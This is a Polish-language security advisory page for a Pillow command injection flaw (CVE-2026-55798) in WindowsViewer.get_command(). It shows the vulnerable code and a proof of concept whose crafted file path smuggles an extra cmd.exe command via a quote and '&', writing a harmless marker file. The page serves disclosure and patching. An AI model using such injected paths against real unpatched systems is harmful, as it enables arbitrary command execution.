Średnia

Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

  • Ujawniono: 06.07.2026
  • Aktualizacja: 11.10.2026 15:17

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py.


2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

python
class WindowsViewer(Viewer):
    format = "PNG"
    options = {"compress_level": 1, "save_all": True}

    def get_command(self, file: str, **options: Any) -> str:
        return (
            f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
            "&& ping -n 4 127.0.0.1 >NUL "
            f'&& del /f "{file}"'                # ← same path, unescaped again
        )

    def show_file(self, path: str, **options: Any) -> int:
        if not os.path.exists(path):
            raise FileNotFoundError
        subprocess.Popen(
            self.get_command(path, **options),
            shell=True,                          # ← shell=True
            creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
        )  # nosec                               # ← Bandit warning suppressed manually
        return 1

Contrast with macOS — SAFE (line 164–168):

python
class MacViewer(Viewer):
    def get_command(self, file: str, **options: Any) -> str:
        command = "open -a Preview.app"
        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
        return command                           # ← shlex.quote() applied

Cross-platform summary:

Platform Class shlex.quote()? shell=True? Safe?
macOS MacViewer Yes (line 168) No (list args) ✅ Yes
Linux UnixViewer Yes (line 207) No (list args) ✅ Yes
Windows WindowsViewer No (line 134–137) Yes (line 148) ❌ No

shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice.


3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

python
from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
# ├─ & echo PWNED                           → INJECTED COMMAND
# └─ & echo ""  && ping ...                → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

python
import os, tempfile
from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")

# Craft injection: payload writes a marker file (harmless)
payload   = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')

# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)

# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)

assert os.path.exists(marker)                          # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read()          # PASSES
# → CONFIRMED: arbitrary command injection via get_command()

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) pillow < 12.3.0 12.3.0

Odnośniki

Ocena CVSS 4.5/10
Wektor CVSS
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L
Słabość (CWE)
CWE-78
Platforma
Python (PyPI)
Paczka
pillow
Ujawniono
06.07.2026
Aktualizacja
11.10.2026 15:17

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-2257 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-4x4j-2g7c-83w6 - CC BY 4.0

Historia podatności: pillow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (82) w archiwum
Wszystkich wpisów
82
Pierwsza → ostatnia
04.2014 10.2026
Bez poprawki
0
Wykorzystywana w atakach
1

Rozkład istotności

  • Krytyczna 11
  • Wysoka 53
  • Średnia 16
  • Niska 1
  • Nieoceniona 1

Ujawnienia w latach

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 24

wcześniej: 12

Istotność:
  1. Krytyczna CVE-2026-112403 < 13.0.0 13.0.0
  2. Wysoka · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  3. Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path ten wpis
    Średnia · 4.5 CVE-2026-55798 < 12.3.0 12.3.0
  4. Wysoka CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  5. Wysoka · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  6. Wysoka CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  7. Wysoka · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  8. Wysoka · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  9. Krytyczna · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  10. Wysoka · 8.8 Wykorzystywana w atakach CVE-2023-4863 < 10.0.1 10.0.1
  11. Wysoka · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  12. Wysoka · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  13. Wysoka · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  14. Krytyczna · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  15. Wysoka · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  16. Krytyczna · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  17. Wysoka · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  18. Wysoka · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  19. Wysoka · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  20. Wysoka · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  21. Wysoka · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  22. Wysoka · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  23. Wysoka · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  24. Wysoka · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  25. Krytyczna · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  26. Wysoka · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  27. Wysoka · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  28. Wysoka · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
  29. Wysoka · 8.8 CVE-2020-35654 < 8.1.0 8.1.0
  30. Wysoka · 7.1 CVE-2020-35653 < 8.1.0 8.1.0
  31. Krytyczna · 8.1 CVE-2020-11538 < 7.1.0 7.1.0
  32. Wysoka · 5.5 CVE-2020-10994 < 7.1.0 7.1.0
  33. Wysoka · 5.5 CVE-2020-10177 < 7.1.0 7.1.0
  34. Wysoka · 7.5 CVE-2019-19911 < 6.2.2 6.2.2
  35. Wysoka · 7.1 CVE-2020-5313 < 6.2.2 6.2.2
  36. Krytyczna · 9.8 CVE-2020-5312 < 6.2.2 6.2.2
  37. Krytyczna · 9.8 CVE-2020-5311 < 6.2.2 6.2.2
  38. Krytyczna · 8.8 CVE-2020-5310 < 6.2.2 6.2.2
  39. Wysoka · 7.5 CVE-2019-16865 < 6.2.0 6.2.0
  40. Wysoka · 6.5 CVE-2016-2533 < 3.1.1 3.1.1
  41. Krytyczna · 9.8 CVE-2016-4009 < 3.1.1 3.1.1
  42. Wysoka · 6.5 CVE-2016-0775 < 3.1.1 3.1.1
Pokaż więcej (5) Widać 60 z 65

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.